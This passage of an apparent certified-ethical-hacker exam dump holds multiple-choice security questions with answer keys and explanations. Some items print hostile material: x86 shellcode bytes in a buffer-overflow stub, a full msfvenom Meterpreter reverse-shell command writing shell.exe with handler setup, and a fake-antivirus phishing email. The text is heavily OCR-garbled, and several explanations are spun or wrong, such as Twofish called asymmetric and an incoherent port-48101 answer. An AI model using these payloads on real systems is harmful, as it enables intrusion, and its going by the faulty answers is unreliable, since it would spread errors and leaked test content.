be elevated to the very best ranking official or board , the deployment of end-point security tools to dam data loss and preparation for briefing a CIRT Team.
Having these resources well established beforehand may be a ??MUST?? in today??s quickly evolving landscape of cybersecurity threats

NEW QUESTION 237

- (Topic 2)

This form of encryption algorithm is asymmetric key block cipher that is characterized by a 128-bit block size, and its key size can be up to 256 bits. Which among
the following is this encryption algorithm?

A. Twofish encryption algorithm
B. HMAC encryption algorithm
C. IDEA

D. Blowfish encryption algorithm

Answer: A

Explanation:

Twofish is an encryption algorithm designed by Bruce Schneier. 1t??s a symmetric key block cipher with a block size of 128 bits, with keys up to 256 bits. it??s
associated with AES (Advanced Encryption Standard) and an earlier block cipher called Blowfish. Twofish was actually a finalist to become the industry standard
for encryption, but was ultimately beaten out by the present AES.Twofish has some distinctive features that set it aside from most other cryptographic protocols.
For one, it uses pre-computed, key- dependent S-boxes. An S-box (substitution-box) may be a basic component of any symmetric key algorithm which performs
substitution. within the context of Twofish??s block cipher, the S-box works to obscure the connection of the key to the ciphertext. Twofish uses a pre-computed,
key-dependent S-box which suggests that the S-box is already provided, but depends on the cipher key to decrypt the knowledge .

How Secure is Twofish?Twofish is seen as a really secure option as far as encryption protocols go. one among the explanations that it wasn??t selected because
the advanced encryption standard is thanks to its slower speed. Any encryption standard that uses a 128-

bit or higher key, is theoretically safe from brute force attacks. Twofish is during this category.Because Twofish uses ??pre-computed key-dependent S-boxes??, it
are often susceptible to side channel attacks. this is often thanks to the tables being pre-computed. However, making these tables key-dependent helps mitigate
that risk. There are a couple of attacks on Twofish, but consistent with its creator, Bruce Schneier, it didn??t constitute a real cryptanalysis. These attacks didn??t
constitue a practical break within the cipher.

Products That Use TwofishGnuPG: GnuPG may be a complete and free implementation of the OpenPGP standard as defined by RFC4880 (also referred to as
PGP). GnuPG allows you to encrypt and sign your data and communications; it features a flexible key management system, along side access modules for all
types of public key directories.KeePass: KeePass may be a password management tool that generates passwords with top-notch security. It??s a free, open
source, lightweight and easy-to-use password manager with many extensions and plugins.Password Safe: Password Safe uses one master password to stay all of
your passwords protected, almost like the functionality of most of the password managers on this list. It allows you to store all of your passwords during a single
password database, or multiple databases for various purposes. Creating a database is straightforward , just create the database, set your master password.PGP
(Pretty Good Privacy): PGP is employed mostly for email encryption, it encrypts the content of the e-mail . However, Pretty Good Privacy doesn??t encrypt the
topic and sender of the e- mail , so make certain to never put sensitive information in these fields when using PGP.TrueCrypt: TrueCrypt may be a software
program that encrypts and protects files on your devices. With TrueCrypt the encryption is transparent to the user and is completed locally at the user??s
computer. this suggests you??ll store a TrueCrypt file on a server and TrueCrypt will encrypt that file before it??s sent over the network.

NEW QUESTION 242
- (Topic 2)
OpenSSL on Linux servers includes a command line tool for testing TLS. What is the name of the tool and the correct syntax to connect to a web server?

A. openssl s_client -site www.website.com:443

B. openssl_client -site www.website.com:443

C. openssl s_client -connect www.website.com:443
D. openssl_client -connect www.website.com:443

Answer: C
NEW QUESTION 246

- (Topic 2)
What is the minimum number of network connections in a multi homed firewall?

oowp
N N O W

Answer: A

NEW QUESTION 248

- (Topic 2)

Nicolas just found a vulnerability on a public-facing system that is considered a zero-day vulnerability. He sent an email to the owner of the public system
describing the problem and how the owner can protect themselves from that vulnerability. He also sent an email to Microsoft informing them of the problem that
their systems are exposed to. What type of hacker is Nicolas?

A. Red hat

B. white hat
C. Black hat
D. Gray hat

Answer: B
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Explanation:

A white hat (or a white hat hacker) is an ethical computer hacker, or a computer security expert, who focuses on penetration testing and in other testing
methodologies that ensures the safety of an organization??s information systems. Ethical hacking may be a term meant to imply a broader category than simply
penetration testing. Contrasted with black hat, a malicious hacker, the name comes from Western films, where heroic and antagonistic cowboys might traditionally
wear a white and a black hat respectively. While a white hat hacker hacks under good intentions with permission, and a black hat hacker, most frequently
unauthorized, has malicious intent, there??s a 3rd kind referred to as a gray hat hacker who hacks with good intentions but sometimes without permission.White
hat hackers can also add teams called ??sneakers and/or hacker clubs??,red teams, or tiger teams.While penetration testing concentrates on attacking software
and computer systems from the beginning — scanning ports, examining known defects in protocols and applications running on the system and patch installations,
as an example — ethical hacking may include other things. A full-blown ethical hack might include emailing staff to invite password details, searching through
executive??s dustbins and typically breaking and entering, without the knowledge and consent of the targets. Only the owners, CEOs and Board Members (stake
holders) who asked for such a censoring of this magnitude are aware. to undertake to duplicate a number of the destructive techniques a true attack might employ,
ethical hackers may arrange for cloned test systems, or organize a hack late in the dark while systems are less critical. In most up-to-date cases these hacks
perpetuate for the long-term con (days, if not weeks, of long-term human infiltration into an organization). Some examples include leaving USB/flash key drives
with hidden auto-start software during a public area as if someone lost the tiny drive and an unsuspecting employee found it and took it. Some other methods of
completing these include:* DoS attackse Social engineering tacticse Reverse engineerings Network securitys Disk and memory forensicse Vulnerability researche
Security scanners such as:— W3af— Nessus— Burp suites Frameworks such as:— Metasploite Training PlatformsThese methods identify and exploit known security
vulnerabilities and plan to evade security to realize entry into secured areas. they??re ready to do that by hiding software and system ??back-doors?? which will
be used as a link to information or access that a non-ethical hacker, also referred to as ??black-hat?? or ??grey-hat??, might want to succeed in .

NEW QUESTION 249

- (Topic 2)

Tremp is an IT Security Manager, and he is planning to deploy an IDS in his small company. He is looking for an IDS with the following characteristics: - Verifies
success or failure of an attack - Monitors system activities Detects attacks that a network-based IDS fails to detect - Near real-time detection and response - Does
not require additional hardware - Lower entry cost Which type of IDS is best suited for Tremp's requirements?

A. Gateway-based IDS
B. Network-based IDS
C. Host-based IDS

D. Open source-based

Answer: C

NEW QUESTION 254

- (Topic 2)

Elliot is in the process of exploiting a web application that uses SQL as a back-end database. He??s determined that the application is vulnerable to SQL injection,
and has introduced conditional timing delays into injected queries to determine whether they are successful. What type of SQL injection is Elliot most likely
performing?

A. Error-based SQL injection
B. Blind SQL injection

C. Union-based SQL injection
D. NoSQL injection

Answer: B

NEW QUESTION 257

- (Topic 2)

Attacker Rony Installed a rogue access point within an organization's perimeter and attempted to Intrude into its internal network. Johnson, a security auditor,
identified some unusual traffic in the internal network that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and
tested for any weak and outdated security mechanisms that are open to attack. What is the type of vulnerability assessment performed by Johnson in the above
scenario?

A. Distributed assessment
B. Wireless network assessment
C. Host-based assessment
D. Application assessment

Answer: B

Explanation:

Wireless network assessment determines the vulnerabilities in an organization??s wireless networks. In the past, wireless networks used weak and defective data
encryption mechanisms. Now, wireless network standards have evolved, but many networks still use weak and outdated security mechanisms and are open to
attack. Wireless network assessments try to attack wireless authentication mechanisms and gain unauthorized access. This type of assessment tests wireless
networks and identifies rogue networks that may exist within an organization??s perimeter. These assessments audit client-specified sites with a wireless network.
They sniff wireless network traffic and try to crack encryption keys. Auditors test other network access if they gain access to the wireless network.

Expanding your network capabilities are often done well using wireless networks, but it also can be a source of harm to your data system . Deficiencies in its
implementations or configurations can allow tip to be accessed in an unauthorized manner.This makes it imperative to closely monitor your wireless network while
also conducting periodic Wireless Network assessment.It identifies flaws and provides an unadulterated view of exactly how vulnerable your systems are to
malicious and unauthorized accesses.ldentifying misconfigurations and inconsistencies in wireless implementations and rogue access points can improve your
security posture and achieve compliance with regulatory frameworks.

NEW QUESTION 259
- (Topic 2)
This TCP flag instructs the sending system to transmit all buffered data immediately.

A. SYN
B. RST
C. PSH
D. URG
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E. FIN

Answer: C

NEW QUESTION 264

- (Topic 2)

The network administrator at Spears Technology, Inc has configured the default gateway Cisco router's access-list as below:

You are hired to conduct security testing on their network.

You successfully brute-force the SNMP community string using a SNMP crack tool. The access-list configured at the router prevents you from establishing a
successful

connection.

You want to retrieve the Cisco configuration from the router. How would you proceed?

A. Use the Cisco's TFTP default password to connect and download the configuration file

B. Run a network sniffer and capture the returned traffic with the configuration file from the router

C. Run Generic Routing Encapsulation (GRE) tunneling protocol from your computer to the router masking your IP address
D. Send a customized SNMP set request with a spoofed source IP address in the range - 192.168.1.0

Answer: BD

NEW QUESTION 267

- (Topic 2)

John wants to send Marie an email that includes sensitive information, and he does not trust the network that he is connected to. Marie gives him the idea of using
PGP. What should John do to communicate correctly using this type of encryption?

A. Use his own public key to encrypt the message.
B. Use Marie's public key to encrypt the message.
C. Use his own private key to encrypt the message.
D. Use Marie's private key to encrypt the message.

Answer: B

Explanation:

When a user encrypts plaintext with PGP, PGP first compresses the plaintext. The session key works with a very secure, fast conventional encryption algorithm to
encrypt the plaintext; the result is ciphertext. Once the data is encrypted, the session key is then encrypted to the recipient's public key
https://en.wikipedia.org/wiki/Pretty Good_Privacy

Pretty Good Privacy (PGP) is an encryption program that provides cryptographic privacy and authentication for data communication. PGP is used for signing,
encrypting, and decrypting texts, e-mails, files, directories, and whole disk partitions and to increase the security of e-mail communications.

PGP encryption uses a serial combination of hashing, data compression, symmetric-key cryptography, and finally public-key cryptography; each step uses one of
several supported algorithms. Each public key is bound to a username or an e-mail address.

https://en.wikipedia.org/wiki/Public-key_cryptography

Public key encryption uses two different keys. One key is used to encrypt the information and the other is used to decrypt the information. Sometimes this is
referred to as asymmetric encryption because two keys are required to make the system and/or process work securely. One key is known as the public key and
should be shared by the owner with

anyone who will be securely communicating with the key owner. However, the owner??s secret key is not to be shared and considered a private key. If the private
key is shared with unauthorized recipients, the encryption mechanisms protecting the information must be considered compromised.

NEW QUESTION 270
- (Topic 2)
what is the port to block first in case you are suspicious that an loT device has been compromised?

A. 22

B. 443
C. 48101
D. 80

Answer: C

Explanation:

TCP port 48101 uses the Transmission management Protocol. transmission control protocol is one in all the most protocols in TCP/IP networks. transmission
control protocol could be a connection-oriented protocol, it needs acknowledgement to line up end- to-end communications. only a association is about up user??s
knowledge may be sent bi- directionally over the association.

Attention! transmission control protocol guarantees delivery of knowledge packets on port 48101 within the same order during which they were sent. bonded
communication over transmission control protocol port 48101 is that the main distinction between transmission control protocol and UDP. UDP port 48101
wouldn??t have bonded communication as transmission control protocol.

UDP on port 48101 provides Associate in Nursing unreliable service and datagrams might arrive duplicated, out of order, or missing unexpectedly. UDP on port
48101 thinks that error checking and correction isn??t necessary or performed within the application, avoiding the overhead of such process at the network
interface level.

UDP (User Datagram Protocol) could be a borderline message-oriented Transport Layer protocol (protocol is documented in IETF RFC 768).

Application examples that always use UDP: vocalisation IP (VolP), streaming media and period multiplayer games. several internet applications use UDP, e.g. the
name System (DNS), the Routing info Protocol (RIP), the Dynamic Host Configuration Protocol (DHCP), the straightforward Network Management Protocol
(SNMP).

NEW QUESTION 271

- (Topic 2)

While browsing his Facebook teed, Matt sees a picture one of his friends posted with the caption. "Learn more about your friends!", as well as a number of
personal questions. Matt is suspicious and texts his friend, who confirms that he did indeed post it. With assurance that the post is legitimate. Matt responds to the
guestions on the post, a few days later. Mates bank account has been accessed, and the password has been changed. What most likely happened?
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A. Matt inadvertently provided the answers to his security questions when responding to the post.
B. Matt's bank-account login information was brute forced.

C. Matt Inadvertently provided his password when responding to the post.

D. Matt's computer was infected with a keylogger.

Answer: A

NEW QUESTION 276

- (Topic 2)

Techno Security Inc. recently hired John as a penetration tester. He was tasked with identifying open ports in the target network and determining whether the ports
are online and any firewall rule sets are encountered. John decided to perform a TCP SYN ping scan on the target network. Which of the following Nmap
commands must John use to perform the TCP SYN ping scan?

A. nmap -sn -pp < target ip address >

B. nmap -sn -PO < target IP address >

C. nmap -sn -PS < target IP address >

D. nmap -sn -PA < target IP address >

Answer: C

Explanation:

https://hub.packtpub.com/discovering-network-hosts-with-tcp-syn-and-tcp-ack-ping-scans-in-nmaptutorial/

NEW QUESTION 279
- (Topic 2)
Password cracking programs reverse the hashing process to recover passwords. (True/False.)

A. True
B. False

Answer: B

NEW QUESTION 280
- (Topic 2)
Which type of sniffing technique is generally referred as MiTM attack?

MAC Flooding
DNS Poisoning

ARP Poisoning

Attacker

DHCP Attacks

Password Sniffing

Spoofing Attack

A. Password Sniffing
B. ARP Poisoning
C. Mac Flooding

D. DHCP Sniffing
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Answer: B

NEW QUESTION 282

- (Topic 2)

You receive an e-mail like the one shown below. When you click on the link contained in the mail, you are redirected to a website seeking you to download free
Anti-Virus software.

Dear valued customers,
We are pleased to announce the newest version of Antivirus 2010 for Windows which will probe you with total security against the latest spyware, malware,
viruses, Trojans and other online threats Simply visit the link below and enter your antivirus code:

Antivirus code: 5014

http://www.juggyboy/virus/virus.html

Thank you for choosing us, the worldwide leader Antivirus solutions.
Mike Robertson

PDF Reader qup“ﬁrt

Copyright Antivirus 2010 ?All rights reserved

If you want to stop receiving mail, please go to
http://www.juggyboy.com

or you may contact us at the following address: Media Internet Consultants, Edif. Neptuno, Planta
Baja, Ave. Ricardo J. Alfaro, Tumba Muerto, n/a Panama
How will you determine if this is Real Anti-Virus or Fake Anti-Virus website?

A. Look at the website design, if it looks professional then it is a Real Anti-Virus website
B. Connect to the site using SSL, if you are successful then the website is genuine
C. Search using the URL and Anti-Virus product name into Google and lookout for suspicious warnings against this site

D. Download and install Anti-Virus software from this suspicious looking site, your Windows 7 will prompt you and stop the installation if the downloaded file is a
malware

E. Download and install Anti-Virus software from this suspicious looking site, your Windows 7 will prompt you and stop the installation if the downloaded file is a
malware

Answer: C

NEW QUESTION 287
- (Topic 2)
You are programming a buffer overflow exploit and you want to create a NOP sled of 200 bytes in the program exploit.c

char shellcode[] =
"\x31\xcO0\xb0\x46\x31\xdb\x31\xcS\xcd\x80\xeb\x16\x5b\x31\xc0”
“\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d4"”
"\x53\x0c\xcd\x80\xe8\xeS\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
“AX68"

What is the hexadecimal value of NOP instruction?

A. 0x60
B. 0x80
C. 0x70
D. 0x90

Answer: D

NEW QUESTION 288

- (Topic 2)

Allen, a professional pen tester, was hired by xpertTech solutWns to perform an attack simul-ation on the organization's network resources. To perform the attack,
he took advantage of the NetBIOS API and targeted the NetBIOS service. B/enumerating NetBIOS, he found that port 139 was open and could see the resources
that could be accessed or viewed on a remote system. He came across many NetBIOS codes during enumeration.

identify the NetBIOS code used for obtaining the messenger service running for the logged- in user?

A. <1B>
B. <00>
C. <03>
D. <20>

Answer: C

Explanation:

<03>Windows Messenger administrationCourier administration is an organization based framework notice Windows administration by Microsoft that was
remembered for some prior forms of Microsoft Windows.

This resigned innovation, despite the fact that it has a comparable name, isn??t connected in any capacity to the later, Internet-based Microsoft Messenger
administration for texting or to Windows Messenger and Windows Live Messenger (earlier named MSN Messenger) customer programming.

The Messenger Service was initially intended for use by framework managers to tell Windows clients about their networks.[1] It has been utilized malevolently to
introduce spring up commercials to clients over the Internet (by utilizing mass-informing frameworks which sent an ideal message to a predetermined scope of IP
addresses). Despite the fact that Windows XP incorporates a firewall, it isn??t empowered naturally. Along these lines, numerous clients got such messages.
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Because of this maltreatment, the Messenger Service has been debilitated as a matter of course in Windows XP Service Pack 2.

NEW QUESTION 292
- (Topic 2)
what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 f ¢
B. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f ¢
C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

Answer: C

Explanation:

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom Often one of the most useful (and to the beginner underrated) abilities of Metasploit is
the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of
these payloads you can go into msfconsole and select exploit/multi/handler. Run ??set payload?? for the relevant payload used and configure all necessary
options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it??s pretty self explanatory but LHOST should be filled in with
your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.
Example for Windows:

- msfvenom -p windows/meterpreter/reverse_tcp LHOST=Y<our IP Address> LPORT=<

Your Port to Connect On> -f exe > shell.exe

NEW QUESTION 294
- (Topic 2)
Why containers are less secure that virtual machines?

A. Host OS on containers has a larger surface attack.

B. Containers may full fill disk space of the host.

C. A compromise container may cause a CPU starvation of the host.
D. Containers are attached to the same virtual network.

Answer: A

NEW QUESTION 295

- (Topic 2)

jane invites her friends Alice and John over for a LAN party. Alice and John access Jane's wireless network without a password. However. Jane has a long,
complex password on her router. What attack has likely occurred?

A. Wireless sniffing
B. Piggybacking
C. Evil twin

D. Wardriving

Answer: C

Explanation:

An evil twin may be a fraudulent Wi-Fi access point that appears to be legitimate but is about up to pay attention to wireless communications.[1] The evil twin is
that the wireless LAN equivalent of the phishing scam.This type of attack could also be wont to steal the passwords of unsuspecting users, either by monitoring
their connections or by phishing, which involves fixing a fraudulent internet site and luring people there.The attacker snoops on Internet traffic employing a bogus
wireless access point. Unwitting web users could also be invited to log into the attacker??s server, prompting them to enter sensitive information like usernames
and passwords. Often, users are unaware they need been duped until well after the incident has occurred.When users log into unsecured (non- HTTPS) bank or e-
mail accounts, the attacker intercepts the transaction, since it??s sent through their equipment. The attacker is additionally ready to hook up with other networks
related to the users?? credentials.Fake access points are found out by configuring a wireless card to act as an access point (known as HostAP). they??re hard to
trace since they will be shut off instantly. The counterfeit access point could also be given an equivalent SSID and BSSID as a close-by Wi-Fi network. The evil
twin are often configured to pass Internet traffic through to the legitimate access point while monitoring the victim??s connection, or it can simply say the system is
temporarily unavailable after obtaining a username and password.

NEW QUESTION 298
- (Topic 2)
Switches maintain a CAM Table that maps individual MAC addresses on the network to physical ports on the switch.
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B8 Command Prompt X

macofl -1 ethl
18:b1:22:12:85:15 13:15:5a:6b:45:04 0.0.0.0.25684 > 0.0.0.0.86254: S 2658741236:1235486715(0) win 512
12:a8:d8:15:4d:3b ab:4c:od:5f:ad:ad 0.0.0.0,.12387 > 0.0.0.0.78962: S 1238569742 :782563145(0) win 512

13:3f:ab:14:25:95 66:ab:6d:4:b2:85 0.0.0.0.45638 > 0.0.0.0.4568: S 123587152:456312589(0) win 512

a2:2£:85:12:ac:2 12:85:2£:52:41:25 0.0.0.0.42358 > 0.0.0.0.35842: s 3256789512:3568742158(0) win 512

96:25:a3:5¢:52:af 82:12:41:1:ac:d6 0.0.0.0.45213 > 0.0.0.0.2358: S J684125687:3256874125(0) win 512
t0:b5:80:6d:2a S5aceo:£6:41:8d:df 0.0.0.0.12354 > 0.0.0.0.78521: S 1236542358:3698521475(0) win 512
142:a0:85:65:96 a5:5f:ad:9d:12:aa 0.0.0.0.123 > 0.0.0.0.12369: S 8523695412:8523698742(0) win 512
tdd: 4c:5a:5d:ad ad:ad:5f:4d:e9:ad 0.0.0.0.23685 > 0.0.0.0.45686: S5 236854125:365145752 (D) win 512

J:e5:1a:25:2:a 25:35:a8:5d:af:fc 0.0.0.0.23685 > 0.0.0.0.85236: S 8623574125:3698521456(0) win 512

In MAC flooding attack, a switch is fed with many Ethernet frames, each containing different source MAC addresses, by the attacker. Switches have a limited
memory for mapping various MAC addresses to physical ports. What happens when the CAM table becomes full?

A. Switch then acts as hub by broadcasting packets to all machines on the network

B. The CAM overflow table will cause the switch to crash causing Denial of Service

C. The switch replaces outgoing frame switch factory default MAC address of FF:FF:FF:FF.FF.FF
D. Every packet is dropped and the switch sends out SNMP alerts to the IDS port

Answer: A

NEW QUESTION 300
- (Topic 2)
What hacking attack is challenge/response authentication used to prevent?

A. Replay attacks

B. Scanning attacks

C. Session hijacking attacks
D. Password cracking attacks

Answer: A

NEW QUESTION 301

- (Topic 2)

Sam, a professional hacker. targeted an organization with intention of compromising AWS IAM credentials. He attempted to lure one of the employees of the
organization by initiating fake calls while posing as a legitimate employee. Moreover, he sent phishing emails to steal the AWS 1AM credentials and further
compromise the employee's account. What is the technique used by Sam to compromise the AWS IAM credentials?

A. Social engineering
B. insider threat

C. Password reuse

D. Reverse engineering

Answer: A

Explanation:

Just like any other service that accepts usernames and passwords for logging in, AWS users are vulnerable to social engineering attacks from attackers. fake
emails, calls, or any other method of social engineering, may find yourself with an AWS users?? credentials within the hands of an attacker.

If a user only uses API keys for accessing AWS, general phishing techniques could still use to gain access to other accounts or their pc itself, where the attacker
may then pull the API keys for aforementioned AWS user.

With basic opensource intelligence (OSINT), it??s usually simple to collect a list of workers of an organization that use AWS on a regular basis. This list will then
be targeted with spear phishing to do and gather credentials. an easy technique may include an email that says your bill has spiked 500th within the past 24 hours,
??click here for additional information??, and when they click the link, they??re forwarded to a malicious copy of the AWS login page designed to steal their
credentials.

An example of such an email will be seen within the screenshot below. it??s exactly like an email that AWS would send to you if you were to exceed the free tier
limits, except for a few little changes. If you clicked on any of the highlighted regions within the screenshot, you??d not be taken to the official AWS web site and
you??d instead be forwarded to a pretend login page setup to steal your credentials.

These emails will get even more specific by playing a touch bit additional OSINT before causing them out. If an attacker was ready to discover your AWS account
ID on-line somewhere, they could use methods we at rhino have free previously to enumerate what users and roles exist in your account with none logs contact on
your side. they could use this list to more refine their target list, further as their emails to reference services they will know that you often use.

For reference, the journal post for using AWS account IDs for role enumeration will be found here and the journal post for using AWS account IDs for user
enumeration will be found here.

During engagements at rhino, we find that phishing is one in all the fastest ways for us to achieve access to an AWS environment.

NEW QUESTION 303
- (Topic 2)
Fingerprinting an Operating System helps a cracker because:
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A. It defines exactly what software you have installed

B. It opens a security-delayed window based on the port being scanned

C. It doesn't depend on the patches that have been applied to fix existing security holes
D. It informs the cracker of which vulnerabilities he may be able to exploit on your system

Answer: D

NEW QUESTION 304

- (Topic 2)

An LDAP directory can be used to store information similar to a SQL database. LDAP uses a database structure instead of SQL??s structure. Because of this,
LDAP has difficulty representing many-to-one relationships.

A. Relational, Hierarchical
B. Strict, Abstract

C. Hierarchical, Relational
D. Simple, Complex

Answer: C

NEW QUESTION 309

- (Topic 2)

In the context of password security, a simple dictionary attack involves loading a dictionary file (a text file full of dictionary words) into a cracking application such
as LOphtCrack or John the Ripper, and running it against user accounts located by the application. The larger the word and word fragment selection, the more
effective the dictionary attack is. The brute force method is the most inclusive, although slow. It usually tries every possible letter and number combination in its
automated exploration. If you would use both brute force and dictionary methods combined together to have variation of words, what would you call such an
attack?

A. Full Blown
B. Thorough
C. Hybrid

D. BruteDics

Answer: C

NEW QUESTION 312

- (Topic 2)

Garry is a network administrator in an organization. He uses SNMP to manage networked devices from a remote location. To manage nodes in the network, he
uses MIB. which contains formal descriptions of all network objects managed by SNMP. He accesses the contents of MIB by using a web browser either by
entering the IP address and Lseries.mlb or by entering the DNS library name and Lseries.mlb. He is currently retrieving information from an MIB that contains
object types for workstations and server services. Which of the following types of MIB is accessed by Garry in the above scenario?

A. LNMIB2.MIB
B. WINS.MIB
C. DHCP.MIS
D. MIB_II.MIB

Answer: A

Explanation:

DHCP.MIB: Monitors network traffic between DHCP servers and remote hosts HOSTMIB.MIB: Monitors and manages host resources
LNMIB2.MIB: Contains object types for workstation and server services

MIBJI.MIB: Manages TCP/IP-based Internet using a simple architecture and system WINS.MIB: For the Windows Internet Name Service (WINS)

NEW QUESTION 317

- (Topic 3)

Joel, a professional hacker, targeted a company and identified the types of websites frequently visited by its employees. Using this information, he searched for
possible loopholes in these websites and injected a malicious script that can redirect users from the web page and download malware onto a victim's machine.
Joel waits for the victim to access the infected web application so as to compromise the victim's machine. Which of the following techniques is used by Joel in the
above scenario?

A. DNS rebinding attack
B. Clickjacking attack
C. MarioNet attack

D. Watering hole attack

Answer: D

Explanation:

Web Application Threats - Watering Hole Attack In a watering hole attack, the attacker identifies the kinds of websites a target company/individual frequently surfs
and tests those particular websites to identify any possible vulnerabilities. Attacker injects malicious script/code into the web application that can redirect the
webpage and download malware onto the victim machine. (P.1797/1781)

NEW QUESTION 322

- (Topic 3)

Harris is attempting to identify the OS running on his target machine. He inspected the initial TTL in the IP header and the related TCP window size and obtained
the following results:

TTL: 64 Window Size: 5840

What is the OS running on the target machine?
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A. Solaris OS
B. Windows OS
C. Mac OS

D. Linux OS

Answer: D

NEW QUESTION 323

- (Topic 3)

When conducting a penetration test, it is crucial to use all means to get all available information about the target network. One of the ways to do that is by sniffing
the network. Which of the following cannot be performed by the passive network sniffing?

A. Identifying operating systems, services, protocols and devices

B. Modifying and replaying captured network traffic

C. Collecting unencrypted information about usernames and passwords
D. Capturing a network traffic for further analysis

Answer: B

NEW QUESTION 327

- (Topic 3)

A security analyst is preparing to analyze a potentially malicious program believed to have infiltrated an organization's network. To ensure the safety and integrity
of the production environment, the analyst decided to use a sheep dip computer for the analysis. Before initiating the analysis, what key step should the analyst
take?

A. Run the potentially malicious program on the sheep dip computer to determine its behavior
B. Store the potentially malicious program on an external medium, such as a CD-ROM

C. Connect the sheep dip computer to the organization's internal network

D. install the potentially malicious program on the sheep dip computer

Answer: B

Explanation:

A sheep dip computer is a dedicated device that is used to test inbound files or physical media for viruses, malware, or other harmful content, before they are
allowed to be used with other computers. The term sheep dip comes from a method of preventing the spread of parasites in a flock of sheep by dipping the new
animals that farmers are adding to the flock in a trough of pesticide. A sheep dip computer is isolated from the organization??s network and has port monitors, file
monitors, network monitors, and antivirus software installed. Before initiating the analysis of a potentially malicious program, the analyst should store the program
on an external medium, such as a CD-ROM, and then insert it into the sheep dip computer. This way, the analyst can prevent the program from infecting other
devices or spreading over the network, and can safely analyze its behavior and characteristics.

The other options are not correct steps to take before initiating the analysis. Running the potentially malicious program on the sheep dip computer may cause
irreversible damage to the device or compromise its security. Connecting the sheep dip computer to the organization??s internal network may expose the network
to the risk of infection or attack. Installing the potentially malicious program on the sheep dip computer may not be possible or advisable, as the program may
require certain dependencies or permissions that the sheep dip computer does not have or allow. References:

? Sheep dip (computing)

? What Does ??Sheep Dip?? Mean in Cyber Security?

? Malware Analysis

? What is a Sheepdip?

NEW QUESTION 331

- (Topic 3)

By performing a penetration test, you gained access under a user account. During the test, you established a connection with your own machine via the SMB
service and occasionally entered your login and password in plaintext.

Which file do you have to clean to clear the password?

A. .X session-log
B. .bashrc
C. .profile
D. .bash_history

Answer: D

Explanation:

File created by Bash, a Unix-based shell program commonly used on Mac OS X and Linux operating systems; stores a history of user commands entered at the
command prompt; used for viewing old commands that are executed.BASH_HISTORY files are hidden files with no filename prefix. They always use the filename
.bash_history.NOTE: Bash is that the shell program employed by Apple Terminal.Our goal is to assist you understand what a file with a *.bash_history suffix is and
the way to open it. The Bash History file type, file format description, and Mac and Linux programs listed on this page are individually researched and verified by the
Filelnfo team. we attempt for 100% accuracy and only publish information about file formats that we??ve tested and validated.

NEW QUESTION 336

- (Topic 3)

Peter, a system administrator working at a reputed IT firm, decided to work from his home and login remotely. Later, he anticipated that the remote connection
could be exposed to session hijacking. To curb this possibility, he implemented a technique that creates a safe and encrypted tunnel over a public network to
securely send and receive sensitive information and prevent hackers from decrypting the data flow between the endpoints. What is the technique followed by Peter
to send files securely through a remote connection?

A. DMZ

B. SMB signing
C. VPN

D. Switch network
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Answer: C

NEW QUESTION 337

- (Topic 3)

An organization has been experiencing intrusion attempts despite deploying an Intrusion Detection System (IDS) and Firewalls. As a Certified Ethical Hacker, you
are asked to reinforce the intrusion detection process and recommend a better rule-based approach. The IDS uses Snort rules and the new recommended tool
should be able to complement it. You suggest using YARA rules with an additional tool for rule generation. Which of the

following tools would be the best choice for this purpose and why?

A. AutoYara - Because it automates the generation of YARA rules from a set of malicious and benign files

B. yarGen - Because it generates YARA rules from strings identified in malware files while removingstrings that also appear in goodware files
C. YaraRET - Because it helps in reverse engineering Trojans to generate YARA rules

D. koodous - Because it combines social networking with antivirus signatures and YARA rules to detect malware

Answer: B

Explanation:

YARA rules are a powerful way to detect and classify malware based on patterns, signatures, and behaviors. They can be used to complement Snort rules, which
are mainly focused on network traffic analysis. However, writing YARA rules manually can be time-consuming and error-prone, especially when dealing with large
and diverse malware samples. Therefore, using a tool that can automate or assist the generation of YARA rules can be very helpful for ethical hackers.

Among the four options, yarGen is the best choice for this purpose, because it generates YARA rules from strings identified in malware files while removing strings
that also appear in goodware files. This way, yarGen can reduce the false positives and increase the accuracy of the YARA rules. yarGen also supports various
features, such as whitelisting, scoring, wildcards, and regular expressions, to improve the quality and efficiency of the YARA rules.

The other options are not as suitable as yarGen for this purpose. AutoYara is a tool that automates the generation of YARA rules from a set of malicious and
benign files, but it does not perform any filtering or optimization of the strings, which may result in noisy and ineffective YARA rules. YaraRET is a tool that helps in
reverse engineering Trojans to generate YARA rules, but it is limited to a specific type of malware and requires manual intervention and analysis. koodous is a
platform that combines social networking with antivirus signatures and YARA rules to detect malware, but it is not a tool for generating YARA rules, rather it is a
tool for sharing and collaborating on YARA rules. References:

? yarGen - A Tool to Generate YARA Rules

? YARA Rules: The Basics

? Why master YARA: from routine to extreme threat hunting cases

NEW QUESTION 339
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